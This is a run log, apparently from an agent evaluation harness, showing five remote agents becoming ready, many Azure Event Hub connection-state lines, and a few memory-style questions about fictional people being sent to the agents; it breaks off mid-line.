+2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,986 [remote_agent_adapter] INFO: Waiting for 5 AGENT_READY events on 'eval-responses-amplihiveeval'... +2026-03-13 03:20:02,986 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:20:17,987 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:20:32,987 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:20:47,987 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:21:02,987 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:21:17,988 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:21:32,988 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:21:47,988 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:22:02,988 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:22:17,989 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:22:32,989 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:22:47,989 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:23:02,989 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:23:17,990 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:23:32,990 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:23:47,990 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:24:02,991 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:24:17,991 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:24:32,991 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:24:47,991 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:25:02,992 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:25:17,992 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:25:32,992 [remote_agent_adapter] INFO: 0/5 agents ready, waiting... +2026-03-13 03:25:38,452 [remote_agent_adapter] INFO: RemoteAgentAdapter: AGENT_READY from agent-2 (1/5) +2026-03-13 03:25:47,992 [remote_agent_adapter] INFO: 1/5 agents ready, waiting... +2026-03-13 03:25:54,888 [remote_agent_adapter] INFO: RemoteAgentAdapter: AGENT_READY from agent-1 (2/5) +2026-03-13 03:25:57,293 [remote_agent_adapter] INFO: RemoteAgentAdapter: AGENT_READY from agent-4 (3/5) +2026-03-13 03:26:02,993 [remote_agent_adapter] INFO: 3/5 agents ready, waiting... +2026-03-13 03:26:17,993 [remote_agent_adapter] INFO: 3/5 agents ready, waiting... +2026-03-13 03:26:32,993 [remote_agent_adapter] INFO: 3/5 agents ready, waiting... +2026-03-13 03:26:47,993 [remote_agent_adapter] INFO: 3/5 agents ready, waiting... +2026-03-13 03:26:57,664 [remote_agent_adapter] INFO: RemoteAgentAdapter: AGENT_READY from agent-0 (4/5) +2026-03-13 03:27:02,994 [remote_agent_adapter] INFO: 4/5 agents ready, waiting... +2026-03-13 03:27:06,690 [remote_agent_adapter] INFO: RemoteAgentAdapter: AGENT_READY from agent-3 (5/5) +2026-03-13 03:27:17,994 [remote_agent_adapter] INFO: All 5 agents ready. Starting question phase. +2026-03-13 03:27:18,159 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,160 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,162 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,169 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,172 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,172 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,180 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,183 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,184 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,187 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:27:18,258 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,258 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,258 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,259 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,259 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,259 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,259 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,259 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,261 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,261 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,261 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,261 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,262 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,263 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,263 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,275 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,275 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,276 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,280 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,280 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,280 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,281 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,282 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,282 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,282 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,282 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,282 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,293 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,294 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,294 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,299 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,299 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,299 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,299 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,300 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,300 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,300 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,300 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,301 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,302 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,305 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,308 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,311 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,312 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,329 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,334 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,334 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,349 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,357 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,358 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,359 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,361 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,362 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,363 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,379 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,384 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,385 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,399 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,407 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,408 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,409 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,412 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,412 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,413 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,429 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,435 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,435 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,450 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,457 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,458 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,458 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,459 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,462 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,462 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,462 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,462 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,464 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,480 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,480 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,485 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,485 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,485 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,485 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,500 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,500 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,507 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,508 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,509 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,509 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,510 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,510 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,512 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,512 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,513 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,513 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,514 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,514 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,530 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,530 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,536 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,536 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,536 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,551 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,551 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,558 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,558 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,560 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,560 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,564 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,564 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,710 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,714 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,714 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,735 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,741 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,741 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,758 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,760 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,767 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,769 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,774 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,788 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,795 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,796 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,815 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,825 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,828 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,833 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,868 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,869 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,873 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,873 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,874 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,876 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,900 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,906 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,906 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,908 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,917 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-4 (event_id=171abd1e64c6): What degree does Yuki Tanaka hold? +2026-03-13 03:27:18,923 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-3 (event_id=3b599460cbdf): What is Fatima Al-Hassan's hobby? +2026-03-13 03:27:18,925 [remote_agent_adapter] INFO: RemoteAgentAdapter: sent question to agent-1 (event_id=d206140de6b8): What is Sarah Chen's birthday? +2026-03-13 03:27:18,930 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,930 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,930 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:27:18,931 [azure.eventhub._pyamqp.management_link] INFO: 